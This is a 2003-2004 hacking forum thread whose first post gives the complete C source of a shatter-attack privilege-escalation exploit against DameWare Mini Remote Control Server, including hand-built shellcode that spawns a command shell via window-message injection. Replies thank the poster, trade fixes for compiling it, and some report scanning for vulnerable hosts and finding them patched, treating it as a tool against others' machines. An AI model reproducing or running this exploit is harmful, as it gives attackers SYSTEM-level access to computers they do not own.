Forums: Dameware Mini Remote Control Server Local System E - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Dameware Mini Remote Control Server Local System E MEPHISTO EXPLOITS: #2

#1 User is offline   Mephisto 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 46
  • Joined: 08-August 03

Post icon  Posted 13 August 2003 - 05:25 AM

/*

Shatter attack exploit for DameWare Mini Remote Control Server
by ash@felinemenace.org

see associated advisory

This code is based on shards.cpp by xenophile

*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#pragma warning(disable: 4305)
#pragma warning(disable: 4309)
void MakeShellCode (char *buffer)
{
HMODULE hCRT;
void * lpSystem;
int count=0;

while (count < 36)
{
buffer [count] =0x90;
count ++;
}

buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;
buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;
buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;
buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;
buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;
buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;
buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;
buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;
buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;
buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;
buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;
buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;
buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;
buffer[76]=0x65;

hCRT = LoadLibrary("msvcrt.dll");
lpSystem = GetProcAddress( hCRT, "system" );
buffer[77]=0xB8;
buffer[78]=((char *)&lpSystem) [0];
buffer[79]=((char *)&lpSystem) [1];
buffer[80]=((char *)&lpSystem) [2];
buffer[81]=((char *)&lpSystem) [3];
buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;
buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;
buffer [88]=0x55; buffer[89]=0xF4;
count = 90;
while (count < 291)
{
buffer [count] =0x90;
count ++;
}
buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;
buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;
buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00;
buffer[300]=0x00;
return;
}
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
) ;

printf("%s\n",lpMsgBuf);

LocalFree( lpMsgBuf );
};
#define SHELLCODE_SIZE (1024 * 256)
#define SHELLCODE_OFFSET (SHELLCODE_SIZE -400)
int main(int argc, char* argv[])
{
HWND hWnd;
HWND hWndChild;
char sc[SHELLCODE_SIZE];
char szWindowName[] = "About DameWare Mini Remote Control Server";
LONG lExecAddress;
sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0';
memset( &sc[4], 0x90, SHELLCODE_SIZE -4);
MakeShellCode( &sc[SHELLCODE_OFFSET] );
printf( "\nfm-shatterdame.c\nash@felinemenace.org\n" );
printf("--------------------------------------------------------------\n");
printf("Exploits shatter attack in DameWare Mini Remote Control
Server\n");
printf("This is based on shards.cpp written by xenophile.\n") ;
printf("--------------------------------------------------------------\n");
printf(
"STEP 1: Finding our window!\n"
) ;



hWnd = FindWindow( NULL, szWindowName );
if( hWnd == NULL)
{

printf("Couldn't find the dameware about dialogue. Open it and re-run this\n");
return 0;
}

hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL);

if( hWndChild == NULL)
{

printf("\tCouldn't find child edit control window\n");

return 0;
}

SendMessage( hWndChild, EM_SETREADONLY, 0, 0 );

SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L );

if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) {
ErrorNotify ( GetLastError (), "error");
}
printf(
"\n\nSTEP 2: Enter shell code address. "
"This can be found using a debugger."
) ;
printf( "\nOn my XP SP1 machine 0x160000 worked.\n" );

printf( "\n\nEnter execution address: " );
scanf( "%x", &lExecAddress );

if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L,
(LPARAM)lExecAddress ) ) {
ErrorNotify( GetLastError(), "error" );
}

SendMessage( hWndChild, WM_LBUTTONDBLCLK, MK_LBUTTON,
(LPARAM)0x000a000a );

return 0;
}




EXTRA: Hope My Friend DJohn84 can compile this 1 or someone else and put it in the "FILE DOWNLOADS" area who is a proud member of this amazing board

Greeetz Mephisto

This post has been edited by GSecur: 19 January 2004 - 07:39 PM

0

#2 Guest_AmoN_*

  • Group: Guests

Posted 18 January 2004 - 02:14 AM

THX for this exploit
0

#3 User is offline   Khadafi 

  • Private
  • Icon
  • Group: Members
  • Posts: 7
  • Joined: 28-November 03

Posted 18 January 2004 - 03:30 AM

thanks for the information :)
0

#4 User is offline   DrDoc 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 44
  • Joined: 30-November 03

Posted 18 January 2004 - 03:50 AM

I have tried to compile it but i get some errors :(

But thx 4 the exploit

^^ Stay trying ;)

Cya Doc

Edit: Now it works :D .. Thx
0

#5 User is offline   Alien 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 48
  • Joined: 03-December 03

Posted 18 January 2004 - 04:22 AM

i compiled this succesfully :]
thx
0

#6 User is offline   Svenno 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 30
  • Joined: 18-January 04

Posted 18 January 2004 - 06:10 AM

Thanks, this is very usefull :)
0

#7 User is offline   FakoLy 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 155
  • Joined: 29-November 03

Posted 18 January 2004 - 06:38 AM

is this exploit for dameware < 3.73 ? or a new with superior versions ?
0

#8 User is offline   Reaper527 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 131
  • Joined: 14-January 04

Posted 18 January 2004 - 08:09 AM

great job, i'll see if i'm able to compile it, but regardless thanks for sharing the newest exploits.

------edit-----------
i'm having trouble compiling :( tried cygwin, dev c++ and vs.net

------2nd edit------

compiled great, there were a few spots from the copy/paste where some lines where split into 2 lines, if anyone has any trouble i'll send you a compiled version since i can't attach here. an example of what i'm reffering to about lines being split is this,

printf("Couldn't find the dameware about dialogue. Open it and re-run 
this\n");

it appears like that on the forum, but should be entered as one line like this

<GSecur: Thanks for the correction bud I fixed the post >

printf("Couldn't find the dameware about dialogue. Open it and re-run this\n");

0

#9 User is offline   AlessandroIT 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 48
  • Joined: 07-September 03

Posted 18 January 2004 - 08:54 AM

If sm1 have compiled it..I hope he will post it in File Downloads...

It's only a exploit? :)

BYE! :D
0

#10 User is offline   Meteor 

  • Private
  • Icon
  • Group: Members
  • Posts: 11
  • Joined: 21-December 03

Posted 18 January 2004 - 09:08 AM

compiled great just some line to edit ;)
0

#11 User is offline   sir|nfs 

  • Private
  • Icon
  • Group: Members
  • Posts: 16
  • Joined: 14-September 03

Posted 18 January 2004 - 09:24 AM

Think it is an old exploit.

http://lists.netsys....ust/008055.html

August 2003.

Sir NFS
0

#12 Guest_SyN/AcK_*

  • Group: Guests

Posted 18 January 2004 - 10:23 AM

Gotta love an exploit with this much power. Even if there's not many targets, its like a pot of gold when you find one.
0

#13 Guest_moby5532_*

  • Group: Guests

Posted 19 January 2004 - 04:42 AM

forget the exploit... It was a good one, but now it is quite useless.... everythin is patched.... had 8 scanresults... everyone was patched.
0

#14 User is offline   mmyumu 

  • Private
  • Icon
  • Group: Members
  • Posts: 5
  • Joined: 29-November 03

Posted 19 January 2004 - 05:20 AM

Thanks for this exploit but now it's old and so useless
0

#15 User is offline   DrDoc 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 44
  • Joined: 30-November 03

Posted 19 January 2004 - 05:26 AM

Thats right.. but when you see sql it is not better.. so you have to search.. and maybe you get a result :)

Cya Doc
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting